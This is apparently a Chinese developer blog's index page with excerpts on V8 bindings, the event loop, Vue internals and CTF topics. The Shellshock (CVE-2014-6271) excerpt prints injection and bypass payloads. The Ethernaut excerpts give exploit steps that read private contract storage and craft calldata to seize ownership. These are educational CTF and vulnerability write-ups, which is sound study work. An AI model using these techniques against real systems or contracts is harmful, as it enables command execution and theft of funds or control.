夜间模式暗黑模式
字体
阴影
滤镜
圆角
thumbnail
JavaScript&C++ Interaction Based on V8 Engine
V8也是必须得过却不容易过的一道坎啊。 Data & Template V8中实现了JavaScript和C++之间数据和函数的相互调用。但是应当想到原生C++的数据类型和JavaScript中的数据类型还是很不一样的。这里V8相当于一个桥梁作用,提供了Value Class,在JavaScript和C++进行相互调用数据的时候就通过Value Class进行,比如说: Handle<Value> Add(const Arguments& args) { int a = args[0]->Uint32Value(); int b = args[1]->Uint32Value(); return Integer::New(a + b); } 对于JavaScript对象和函数来说,在V8中是通过两个模板类Template进行定义(并不是C++里的模板,别搞混了)。一个是对象模板ObjectTemplate,另一个是FunctionTemplate函数模板,分别定义JavaScript的对象和函数。通过这两个模板类也可以将C++中的对象和函数暴露给JavaScript脚本环境。 Interaction 对于变量相互调用来说,变量首先可以参照这样的方式来定义getter/setter: static char sname[512] = {0}; static Handle<Value> NameGetter(Local<String> name, const AccessorInfo& info) { return String::New((char*)&sname, strlen((char*)&sname)); } static void NameSetter(Local<String> name, Local<Value> value, const AccessorInfo& info) { Local<String> str = value->ToString(); str->WriteAscii((char*)&sname); } 然后要把它们注册到Global上: Handle<ObjectTemplate> global = ObjectTemplate::New(); // 为全局对象创建一个template global->SetAccessor(String::New("name"), NameGetter, NameSetter); // 把getter和setter注册到global中 对于函数来说也可以照猫画虎: // 在C++中 定义原型函数 Handle<Value> func(const Argument& args){ return xxx; } // 注册到global 公开给脚本环境 global->Set(String::New("func"), FunctionTemplate::New(func)); C++的类是个一言难尽的东西,相较于JavaScript这种动态性比较强的语言来说,实在是显得不太“方便灵活”。可以认为V8实现了一个任务,就是把复杂的C++对象封装好来给JavaScript使用。从这个角度来说,可以不用太过纠结于C++的繁杂语法,但也能享受到“系统语言级的效率”,同时也能继续享受JavaScript的灵活多变: // Example C++ class class Person { private: unsigned int age; char name[512]; public: Person(unsigned int age, char *name) { this->age = age; strncpy(this->name, name, sizeof(this->name)); } // getter unsigned int getAge() { return this->age; } // setter void setAge(unsigned int nage) { this->age = nage; } // getter char *getName() { return this->name; } // setter void setName(char *nname) { strncpy(this->name, nname, sizeof(this->name)); } } 上面就是一个简单的Person类实现了对应的getter和setter方法,对于包装来说,不仅需要对getter和setter进行包装,也要对构造函数进行包装: Handle<Value> PersonConstructor(const Argument& args){ Handle<Object> object = args.This(); HandleScope handle_scope; int age = args[0]->Uint32Value(); String::Utf8Value str(args[1]); char* name…
thumbnail
JavaScript Event Loop
这篇当做Jake Archibald在2018 JSConf Asia和Philip Roberts在2014 JSConf EU讲的Event Loop笔记,视频在Youtube上可以搜到。 引子 A single-threaded non-blocking asynchronous concurrent language —— JavaScriptWhat the heck is the event loop anyway? | Philip Roberts at 2014 JSConf EU JavaScript是单线程非阻塞的。单线程很容易理解,因为用户在浏览网页的时候常常要进行页面交互,以及JavaScript背后也会进行一些操作DOM的操作。要是搞成多线程,就会出现DOM操作的条件竞争。所以还是干脆一点弄成单线程就好。 当然也有“多线程”的解决方案,Web Worker就是其中一个,但是用Worker可以操作的东西是有限制的,而且Worker一多起来资源开销也是很雷普的。(并不是这篇文章的主题,就略过了) 非阻塞是JavaScript中一个有趣的点,像JavaScript Runtime中(比如V8),存在一个堆空间用来存数据,也有一个栈空间来存储函数的调用。但是说到异步非阻塞,粗略看看V8的源码也并没有类似诸如setTimeout、DOM操作还有HTTP请求这样的东西在,也没有和异步相关的东西。这其实很有意思——我的意思是JavaScript非阻塞实现很有意思。 这种“有意思”,主要还是在于“从0开始的非阻塞实现”这方面的有意思。JavaScript是单线程,也意味着单一call stack。 Call Stack function multiply(a, b) { return a * b; } function square(n) { return multiply(n, n); } function printSquare(n) { var squared = square(n); console.log(squared); } // 一切的开始 entry point printSquare(4); 稍稍有点Binary的基础就很能理解call stack的压栈弹栈的操作。对于单线程来说,所谓的阻塞可以理解为在某个阶段,或者说某个函数中,代码需要执行很久。造成了用户在界面交互的时候卡顿的现象。 var foo = $.getSync('//foo.com'); var bar = $.getSync('//bar.com'); var qux = $.getSync('//qux.com'); // 每一次getSync请求 我都得等一会儿 不能干其他事情 console.log(foo); console.log(bar); console.log(qux); 但是对于诸如setTimeout这样的异步回调函数,它在一般的调用栈上有着异于其他函数的表现。对于setTimeout(callback, ms)来说,setTimeout仅会短时间在调用栈上出现一下,随后很快就消失: console.log('hi'); setTimeout(function () { console.log('there'); }, 5000); console.log('JSConfEU'); 等到所有的代码都执行完,5秒过去后就会在调用栈上出现console.log('there'),然后就消失了。这对于单线程来说是匪夷所思的。能够解释这种现象的东西,就得谈谈Event Loop了。 Event Loop JavaScript能够实现“并发”,其实是浏览器所赋予的能力。像setTimeout是浏览器提供的API,而不是存在于V8源码中的东西。 承接Call Stack中讲的东西,Web API会帮JavaScript承包计时器Handler,当时间到了,就会把callback回调函数放到所谓task queue任务队列中。 这个时候Event Loop登场了,事件循环干的事情其实也非常简单。它会查看call stack和task queue中的内容,如果call stack空了,就把task queue里面排在第一个的task塞到call stack里面去。call stack是V8的管辖领域,所以之后就按照原来的“常识”继续工作。如果call stack中有东西,并且task queue中也有东西,事件循环会等到call stack里面的东西全部执行完了在把task queue中的东西塞到调用栈。 现在也可以理解一下Ajax的请求流程,当代码执行到xhr请求时,先扔给浏览器处理handler。这里就是接受返回的响应信息(比如json),接受完就扔到任务队列里面。然后重复上面setTimeout的流程。 像比较常见的onClick事件,通常是在代码执行到定义回调函数的地方,把监听handler一直放在浏览器里,每次点击按钮的时候,就会扔一个事件到任务队列里面。 页面渲染也是浏览器的任务,理想情况下1秒钟渲染60次(满足绝大多数显示器的刷新频率)。渲染也可以看做一种callback,也要等待调用栈清空以后执行。不同地方在于render的优先级更高,也就是所render queue排在callback queue的前面。普通的callback要等render queue清空以后才能得到执行。 macro/micro Task macrotask:包含执行整体的js代码,事件回调,XHR回调,定时器(setTimeout/setInterval/setImmediate),IO操作,UI rendermicrotask:更新应用程序状态的任务,包括promise回调,MutationObserver,process.nextTick,Object.observe宏任务和微任务 macro task宏任务和micro task微任务是规范里面的内容。通俗点来说,微任务是由宏任务产生的,但是微任务的执行优先级却高于宏任务。可以认为微任务紧紧跟在宏任务的屁股后面,在微任务的后面是其他的宏任务。 render视图渲染是在本轮事件循环的微任务队列执行完后执行,执行任务的耗时会影响视图渲染的时间。 1、执行宏任务队列的一个任务2、执行完当前微任务队列的所有任务3、视图渲染事件循环的步骤 视图渲染也不是必然会执行的步骤,浏览器的优化策略有可能将几次视图更新累计到一起进行渲染,执行渲染时会调用requestAnimationFrame回调函数执行重绘。 Loop in Node.js Node.js和浏览器又有点不太一样,它搞了一套自己的模型。node中实现Event Loop主要依赖libuv。在较新的node版本中(指大于11版本号),事件循环模型是这样的: ┌───────────────────────┐ ┌─>│ timers │ │ └──────────┬────────────┘ │ ┌──────────┴────────────┐ │ │ I/O callbacks │ │ └──────────┬────────────┘ │ ┌──────────┴────────────┐ │ │ idle, prepare │ │ └──────────┬────────────┘ ┌───────────────┐ │ ┌──────────┴────────────┐ │ incoming: │ │ │…
thumbnail
【MiniLCTF 2020】浅析Bilibili的BV号算法
因为要给miniLCTF出题,正好趁机沉下心来研究一下B站的BV号是怎么一回事。顺便把这篇文章当做BilibiliDV题目的官方wp。在看这篇文章之前还是非常建议读者参考知乎的高赞回答。个人感觉在刚公布BV号的事实一天之后就写出了转换脚本,还是挺厉害的!这也是我出题的动机。 参考链接: 如何看待 2020 年 3 月 23 日哔哩哔哩将稿件的「av 号」变更为「BV 号」?- mcfx的回答 题目给的样本文件有一点大,为了方便一点,我就直接给出样本文件的生成脚本,可以自己跑一遍来生成一下: baseTable = 'd59nD71EcAt38aT24eCN06' baseArray = {} for i in range(22): baseArray[baseTable[i]] = i xor = 50790 inc = 114514 startNum = 1000000 endNum = 4000000 dvStaticStr = 'DV t ACD Ne ' dynIndex = [12, 11, 8, 4, 2] def encrypt(x): x = (x ^ xor) + inc dvNum = list(dvStaticStr) for i in range(5): dvNum[dynIndex[i]] = baseTable[x // 22 ** i % 22] return ''.join(dvNum) def decrypt(x): r = 0 for i in range(5): r += baseArray[x[dynIndex[i]]] * 22 ** i return (r - inc) ^ xor file = open('av1000000To3999999.txt', 'w') for num in range(startNum, endNum): file.write('av'+str(num)+' - '+encrypt(num)+'\n') 提前看到生成脚本的编码逻辑其实也没啥关系,这题重要的地方在于怎么去把这个逻辑给找出来,这是最关键的。 0x01 准备工作 一开始的工作是“观察”,找一些表面规律。一般来说,这个阶段应该找到这些事实: 算上开头的DV标识,DV号总长度是13个字符,固定不变。某些固定位上的字符固定不变,动态位用X表示出来就是这样的:DVXtXACDXNeXX 其实你把固定位上的字符拿出来看一下,是个有意义的一串字符:tACDNe。这样子可能看不出来,倒过来试试:eNDCAt。是不是发现了什么!在之后的工作中其实也有很多这样“有意思的地方”。 其实再观察的仔细一点你会发现,av号每增加一位的时候,对应dv号其实不是那种“翻天覆地”的变化,我把它亲切的称呼为“类似进位的变化规律”: 应当想到这可能是一种单表替换的编码方式,而且这个单表的顺序看起来也被打乱了。而且某些dv号在av递增时改变的位数不止一位,这样的变化情况也不是“等间距”发生的事件,事情慢慢变得麻烦起来了。这个阶段我觉得应该发现的事实有: 可能是数值转换为某种形式后进行了列表替换随着av号的递增,dv号的改变是从最末位的变化位开始变化,随后往更高位变化 0x02 base? 其实在比赛的过程中我发现已经很少有人能够做到这步了。对于替换表这样的编码方式,频率分析其实是非常重要的一个方法。我们针对样本的最后一位进行分析,并给出分析脚本: file = open('av1000000To3999999.txt', 'r') charDict = {} while True: line = file.readline() if not line: break endChar = line[-2] if endChar in charDict: charDict[endChar] = charDict[endChar] + 1 else: charDict[endChar] = 1 print(charDict) # result: # {'8': 136363, 'a': 136363, 't': 136363, '3': 136363, # 'c': 136363, 'A': 136363, '1':…
thumbnail
C++虚函数和UAF
0x01 前置知识 虚函数 在C++里面,如果类里面有虚函数,它就会有一个虚函数表的指针__vfptr(virtual function pointer),存放在类对象最开始的内存数据中,在这之后就是类中成员变量的内存数据。对于其子类来说,最开始的内存数据记录着父类对象的拷贝,包括父类虚函数表指针和成员变量,紧接其后的是子类自己的成员变量数据。 BaseClass​   +-------------+   |             |   | __vfptr   | <------+ when virtual   |             |         function exists   +-------------+   |             |   | Base data | +-------------+   |             |               |   +-------------+               | (same as)                                 |Child                           v​   +-------------+         +------------+   |             |         | __vfptr   |   | base copy | +------> +------------+   |             |         | base data |   +-------------+         +------------+   |…
thumbnail
CVE-2014-6271漏洞分析
0x01 Intro 虽然是比较久远的破壳漏洞了,但是最近刷pwnablekr的时候碰到了这个知识点,就稍微整理一下。这个CVE影响范围为GNU Bash 4.3之前,Bash在读取某些刻意构造的环境变量时会存在安全漏洞。因为某些服务和应用允许未经身份验证的攻击者提供精心构造的环境变量,攻击者利用这个漏洞可以实现绕过环境限制执行Shell命令。 0x02 环境变量 什么是环境变量呢,通过下面的方法就可以定义一个简单的环境变量: $ foo="hello world" 然后我们就可以使用这个变量,比如echo $foo。但是这个变量只能在当前的shell进程才能访问,比如在shell中fork出来的进程就访问不到$foo。如果需要在shell的子进程中访问,需要在前面添加export: $ export bar="hello world" 如果需要查看一下当前shell下有哪些环境变量可以在子进程中可见,使用env命令。另外,env也可以用来定义export的环境变量: $ env var="hello endcat" 同样,shell下不仅可以定义环境变量,也可以定义函数。同样的,如果想要在子进程中访问,也需要在前面加上export。 $ foo(){ echo "hello world"; } 0x03 漏洞成因 先来看一下CVE-2014-6271的poc: $ env x='() { :;}; echo vulnerable' bash -c "echo this is a test" 前面说到,Shell里面可以定义变量,在poc中定义了一个名称为x的变量,内容是一个字符串() { :;}; echo vulnerable,根据漏洞信息知道,这个漏洞产生在shell处理函数定义的时候,执行了函数体后面的命令。在这个例子中,就是echo vulnerable。你可能会感到奇怪,x明明是一个字符串,为什么会变成函数? 来看一下GNU Bash 4.3之前的函数实现,一般来说定义一个函数的格式是这样的: function function_name(){body;} 当Bash在初始化环境变量的时候,语法解析器发现小括号和大括号的时候,就认为它是一个函数定义。比如foo='(){ echo endcat }',bash就会认为这是一个函数定义,并把foo作为其值的函数名,其值就是函数体。通过typeset可以查看当前环境的所有变量和函数定义。 至于调用函数定义后面的语句的原因,是因为bash在初始化的时候调用了builtins/evalstring.c中的parse_and_execute函数,这个函数负责了解析字符串输入并执行的工作。在源码中有一行来判定命令是否为全局的: else if (command = global_command){    struct fd_bitmap *bitmap;   ...} 事实上在bash进程启动后,会把poc中的x函数解析成解析全局函数。通过typeset -f查看在定义的x后面会有一句declare -fx say_hello。declare是bash内置命令,用于限定变量的属性。-f表征变量为函数,-x表征变量被export成一个全局函数。其实bash在整个解析初始环境变量的过程中,采用的是foo=bar的赋值语句去用eval执行一遍;如果出现了函数定义就把它转变为函数,在转变的过程中没有严格检查,连带执行了后面的命令。为了避免这个问题,加上了这样一条补丁: #define SEVAL_FUNCDEF 0x080       /* only allow function definitions */#define SEVAL_ONECMD 0x100       /* only allow a single command */if ((flags & SEVAL_FUNCDEF)  && (command->type != cm_function_def){    break;}if (flags & SEVAL_ONECMD) break; 但是,还是被惨遭bypass: $ env X='() { (x)=>\' sh -c "echo date"; cat echo 补丁思路的意思是,如果不是函数定义/超过一个命令就认为不合法。但实际上在poc中,函数体为(){,同时又因为没有;分号,它也是一个单命令。Bash shell在执行eval的时候会遇到语法问题,从而把(x)=忽略掉,然后缓冲区就剩下了>\两个字符。然后bash就执行了这个指令: $ >\my echo hello 来回忆一下bash的语法,首先>为重定位字符,可以理解为把字符前面的东西写入到字符后面里面。比如A > B就意味着把进程A的输出写入到文件B中,实际上和> B A是等价的。具体来说,重定向的语法定义是这样的: redirection: '>' WORD{ redir.filename = $2; $$ = make_redirection (1, r_output_direction, redir);} \是转移字符,保留后面的文本。只在终端输入\并回车后bash进程会被阻塞并等待用户输入。 综上所述,poc在执行的时候相当于执行了>\my echo hello,效果为在路径下面生成了my文件,内容为hello。
thumbnail
浅析双向绑定原理
分析任何原理,看源代码就行了。 0x01 几种实现双向绑定的方法 主流的mvc/mvvm框架都实现了单向数据绑定,双向绑定无非就是在单向绑定的基础上给可输入元素添加了change(input)事件监听,来动态修改model/view。 数据绑定的做法: 发布者-订阅者模式(backbone.js)脏值检查(angular.js)数据劫持(vue.js) 发布者-订阅者模式 发布订阅模式属于广义上的观察者模式 发布订阅模式是最常用的一种观察者模式的实现,并且从解耦和重用角度来看,更优于典型的观察者模式 发布订阅模式多了个事件通道 在观察者模式中,观察者需要直接订阅目标事件;在目标发出内容改变的事件后,直接接收事件并作出响应。 ╭─────────────╮ Fire Event ╭──────────────╮│             │─────────────>│             ││   Subject   │             │   Observer   ││             │<─────────────│             │╰─────────────╯ Subscribe   ╰──────────────╯​ 在发布订阅模式中,发布者和订阅者之间多了一个发布通道;一方面从发布者接收事件,另一方面向订阅者发布事件;订阅者需要从事件通道订阅事件 以此避免发布者和订阅者之间产生依赖关系 简单实现 var shoeObj = {}; // 定义发布者shoeObj.list = []; // 缓存列表 存放订阅者回调函数        // 增加订阅者shoeObj.listen = function(fn) {    shoeObj.list.push(fn);  // 订阅消息添加到缓存列表}​// 发布消息shoeObj.trigger = function(){    for(var i = 0,fn; fn = this.list[i++];) {        fn.apply(this,arguments);   }}// 小红订阅如下消息shoeObj.listen(function(color,size){    console.log("颜色是:"+color);    console.log("尺码是:"+size);  });​// 小花订阅如下消息shoeObj.listen(function(color,size){    console.log("再次打印颜色是:"+color);    console.log("再次打印尺码是:"+size); });shoeObj.trigger("红色",40);shoeObj.trigger("黑色",42); 脏值检查 angular.js 是通过脏值检测的方式比对数据是否有变更,来决定是否更新视图,最简单的方式就是通过 setInterval() 定时轮询检测数据变动,当然Google不会这么low,angular只有在指定的事件触发时进入脏值检测,大致如下: DOM事件,譬如用户输入文本,点击按钮等。( ng-click )XHR(XMLHttpRequest)响应事件 ( $http )浏览器Location变更事件 ( $location )Timer事件( timeout, interval )执行digest()或apply() 数据劫持 vue.js 则是采用数据劫持结合发布者-订阅者模式的方式,通过Object.defineProperty()来劫持各个属性的setter,getter,在数据变动时发布消息给订阅者,触发相应的监听回调。 0x02 Object.defineProperty() Object.defineProperty() 方法会直接在一个对象上定义一个新属性,或者修改一个对象的现有属性,并返回此对象。 Document 0x03 双向绑定实现 要实现mvvm的双向绑定,就必须要实现以下几点: 1、实现一个数据监听器Observer,能够对数据对象的所有属性进行监听,如有变动可拿到最新值并通知订阅者 2、实现一个指令解析器Compile,对每个元素节点的指令进行扫描和解析,根据指令模板替换数据,以及绑定相应的更新函数 3、实现一个Watcher,作为连接Observer和Compile的桥梁,能够订阅并收到每个属性变动的通知,执行指令绑定的相应回调函数,从而更新视图 4、mvvm入口函数,整合以上三者 Observer var data = {name: 'mashiro'};observe(data); // 监听data对象data.name = 'endcat'; // 哈哈哈,监听到值变化了 mashiro --> endcat​function observe(data) {    // 检查data    if (!data || typeof data…
thumbnail
Evan You讲Vue响应性原理的摘记
摘自尤雨溪的讲座 万事先从简单开始讲起,比如现在项目经理需要我实现一个东西。 "嘿,我需要两个变量,一个叫a,一个叫b,并且b永远是a的10倍,永 远!" 我拍了拍脑袋开始写: let a = 3let b = a * 10console.log(b) // 30a = 4console.log(b) // Oops, b is still 30 当a改变的时候,b是不会随着a的改变而改变。为了需要让b改变的话那该咋办呢,再加一行? let a = 3let b = a * 10console.log(b) // 30a = 4b = a * 10console.log(b) // now b is 40 但是这样显然是治标不治本的做法,我的想法是当我每次改变a的时候我不需要手动更新b,我希望这样的关系是声明式的。所以我决定使用Excel解决项目经理的需求。 AB1440 (fx = A1 * 40) 在Excel里面,单元格数值之间的关系使用函数来表示。如果在JavaScript中,我也想要实现这样的效果,就应该类似地存在这样一个魔法函数: onAChanged(() => {    b = a * 10}) 每当a改变的时候,就应该执行onAChanged函数。现在的问题就转变为了如何实现这样一个魔法函数。把这个放到实际的web开发情景来看: <span class="cell b1"></span>​<script>    onStateChanged(() => {        document   .querySelector('.cell.b1')   .textContent = state.a * 10   })</script> 这样的声明式函数描述了b1和状态之间的数值关系,如果我们进一步抽象,使用模板语言来加以描述: <span class="cell b1"> {{ state.a * 10}}</span>​<script> onStateChanged(() => { view = render(state) })</script> view = render(state)是所有视图渲染系统中如何工作的非常高等级的抽象。当然其内部有复杂的DOM实现、虚拟DOM实现机制。由于不是这篇文章的重点就不再详细说明。我们更感兴趣的事情是如何实现onStateChanged这一外部函数: let updateconst onStateChanged = _update => {    update = _update}​const setState = newState => {    state = newState    update()} 上面是可能的一种实现方式:它只是简单的将更新函数保存在某个地方,然后不允许用户任意操作状态并要求总是调用一个函数来处理状态,这个函数就是setState,setState简单地接受新状态,替换旧状态,然后再次调用更新函数。 onStateChanged(() => {    view = render(state)})​setState({ a:5 }) 使用过react的人对此应该会特别熟悉。react会在setState中强制性地触发状态改变,而这实际上就是react在响应性上的简单工作机制。但是在angular或者vue中,我们不必调用setState来操作状态。 onStateChanged(() => {    view = render(state)})state.a = 5 事实上在angular中使用了脏检查的方法(回顾一下双向绑定原理),它会拦截事件后检查所有的东西是否被改变了,在vue里会做得更加细致一点。 autorun(() => {    console.log(state.count)}) 把onStateChanged改写成上面这样的形式,其实这本质上是一种在Knockout.js/Meteor Tracker/Vue.js和MobX中通用的基本形式的依赖跟踪。Vue的响应性采用了ES5的Object.defineProperty()API,简单翻一下文档回忆一下: Document 我们来看一个简单实现的方案: <script>function observe (obj) {    // 遍历键值  Object.keys(obj).forEach(key => {    let internalValue = obj[key]    let dep =…
thumbnail
Ethernaut智能合约题目整理(三)
[github author="Endcat" project="Ethernaut-WriteUp"][/github] Privacy 0x01 Task pragma solidity ^0.4.18;​contract Privacy {​  bool public locked = true;  uint256 public constant ID = block.timestamp;  uint8 private flattening = 10;  uint8 private denomination = 255;  uint16 private awkwardness = uint16(now);  bytes32[3] private data;​  function Privacy(bytes32[3] _data) public {    data = _data; }    function unlock(bytes16 _key) public {    require(_key == bytes16(data[2]));    locked = false; }​  /*   A bunch of super advanced solidity algorithms...​     ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`     .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,     *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\     `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.   ~|__(o.o)     ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU */} 0x02 Solution 先按照Vault题目的思路,把private的数据读出来: web3.eth.getStorageAt(contract.address, 0, function(x, y) {alert(y)});// 0x000000000000000000000000000000000000000000000000000000fbbbff0a01web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(y)});// 0x6f396091d021e1f8bcaa20b7ddee0f5d9a29812cba18da57c4f8d14cfa9db557web3.eth.getStorageAt(contract.address, 2, function(x, y) {alert(y)});// 0x874250db8f2de50c3e45833b8b787acc995739a58c2fbee736b3e843f3f46bdbweb3.eth.getStorageAt(contract.address, 3, function(x, y) {alert(y)});// 0x41c6d2d9a50bbea305fbbd3709be8b7a0159fd9656ad79c7e3c99c43bbc7577eweb3.eth.getStorageAt(contract.address, 4, function(x, y) {alert(y)});// 0x0000000000000000000000000000000000000000000000000000000000000000 每一个存储位是32个字节,根据Solidity的优化规则,当变量所占空间小于32字节时,会与后面的变量共享空间(如果加上后面的变量也不超过32字节的话) bool public locked = true 占 1 字节 -> 01uint8 private flattening = 10 占 1 字节 -> 0auint8 private denomination = 255 占 1 字节 -> ffuint16 private awkwardness = uint16(now) 占 2 字节 -> fbbb 对应第一个存储位fbbbff0a01 则解题需要的data[2]就应该在第四存储位0x41c6d2d9a50bbea305fbbd3709be8b7a0159fd9656ad79c7e3c99c43bbc7577e 注意有bytes16转换,取前16个字节即可 await contract.unlock("0x41c6d2d9a50bbea305fbbd3709be8b7a0159fd9656ad79c7e3c99c43bbc7577e") Re-entrancy 0x01 Task pragma…
thumbnail
Ethernaut智能合约题目整理(二)
[github author="Endcat" project="Ethernaut-WriteUp"][/github] Gatekeeper One 0x01 Task pragma solidity ^0.4.18;​contract GatekeeperOne {​  address public entrant;​  modifier gateOne() {    require(msg.sender != tx.origin);    _; }​  modifier gateTwo() {    require(msg.gas % 8191 == 0);    _; }​  modifier gateThree(bytes8 _gateKey) {    require(uint32(_gateKey) == uint16(_gateKey));    require(uint32(_gateKey) != uint64(_gateKey));    require(uint32(_gateKey) == uint16(tx.origin));    _; }​  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {    entrant = tx.origin;    return true; }} 如何过三道门呢? 0x02 Solution gateOne() 利用之前做过的 Telephone 的知识,从第三方合约来调用 enter() 即可满足条件。 假设用户通过合约A调用合约B: 对于合约A:tx.origin和msg.sender都是用户对于合约B:tx.origin是用户,msg.sender是合约A的地址 gateTwo() 需要满足 msg.gas % 8191 == 0通过debug调试得到,等下再说。 gateThree() 也比较简单,将 tx.origin 倒数三四字节换成 0000 即可。 bytes8(tx.origin) & 0xFFFFFFFF0000FFFF 即可满足条件。 require(uint32(_gateKey) == uint16(_gateKey)); require(uint32(_gateKey) != uint64(_gateKey)); require(uint32(_gateKey) == uint16(tx.origin)); This means that the integer key, when converted into various byte sizes, need to fulfil the following properties: 0x11111111 == 0x1111, which is only possible if the value is masked by 0x0000FFFF0x1111111100001111 != 0x00001111, which is only possible if you keep the preceding values, with the mask 0xFFFFFFFF0000FFFF gateTwo() 需要满足 msg.gas % 8191 == 0 这里使用爆破的方法解决: contract Attack {​    address public instance_address =…
thumbnail
Ethernaut智能合约题目整理(一)
前言 最近在做一些智能合约的题目,觉得挺好玩。这里把必要的解题思路整理一下,相关markdown文档和exp已上传至github,欢迎查阅,共同学习!顺序是按照题目首字母的字母顺序排列的,可能和原关卡顺序不一样。 [github author="Endcat" project="Ethernaut-WriteUp"][/github] Alien Codex 0x01 Task pragma solidity ^0.4.24;​import 'zeppelin-solidity/contracts/ownership/Ownable.sol';​contract AlienCodex is Ownable {​  bool public contact;  bytes32[] public codex;​  modifier contacted() {    assert(contact);    _; }    function make_contact(bytes32[] _firstContactMessage) public {    assert(_firstContactMessage.length > 2**200);    contact = true; }​  function record(bytes32 _content) contacted public { codex.push(_content); }​  function retract() contacted public {    codex.length--; }​  function revise(uint i, bytes32 _content) contacted public {    codex[i] = _content; }} You've uncovered an Alien contract. Claim ownership to complete the level. 0x02 need2know AlienCodex是继承自Ownable合约的,而在Ownable合约中其实存在变量_owner,我们的目标就是要想办法把_owner改成自己的地址。 再看到AlienCodex合约里面,很多方法都添加了contacted修饰符,我们也应当把contact改成true。 看到make_contact函数,里面有把contact设置为true的操作,但是存在限制检查assert(_firstContactMessage.length > 2**200)。想了一下2^200基本上在内存中也装不下这么大的东西。 这里要知道:当您调用方法传递数组时,solidity不会根据实际有效负载对数组大小进行检查。 根据Contract ABI,并拿单变量函数make_contact(bytes32[] _firstContactMessage)举例,参数应当参照下面的结构: 4 bytes of a hash of the signature of the functionthe location of the data part of bytes32[]the length of the bytes32[] arraythe actual data. 接下来把他们都计算出来: web3.sha3('make_contact(bytes32[])') 0x1d3d4c0b6dd3cffa8438b3336ac6e7cd0df521df3bef5370f94efed6411c1a65 take first 4 bytes, so 0x1d3d4c0b our desired result. 偏移就是32bytes 0x0000000000000000000000000000000000000000000000000000000000000020 大于2^200的长度 0x1000000000000000000000000000000000000000000000000000000000000001 实际数据不用放。 sig = web3.sha3("make_contact(bytes32[])").slice(0,10)// "0x1d3d4c0b"data1 = "0000000000000000000000000000000000000000000000000000000000000020"// 除去函数选择器,数组长度的存储从第 0x20 位开始data2 = "1000000000000000000000000000000000000000000000000000000000000001"// 数组的长度await contract.contact()// falsecontract.sendTransaction({data: sig + data1 + data2});// 发送交易await contract.contact()// true contact被我们设置成true了以后,能用的函数就变多了。接下来要修改的是Ownable合约中其实存在变量_owner,但是看看源码好像没有相关的修改表达式,那就换个想法,从合约内部存储原理入手。 _owner被存储在合约的slot0上,而codex数组存储在slot1上。因为EVM的优化存储,并且地址类型占据20bytes,bool占据1byte,所以他们都能存储在一个大小为32bytes的slot中。EVM的存储位置计算规则,对于codex数组来说就是keccak256(bytes32(1)): SlotVariable0contact bool(1 bytes] & owner address (20 bytes), both fit on one…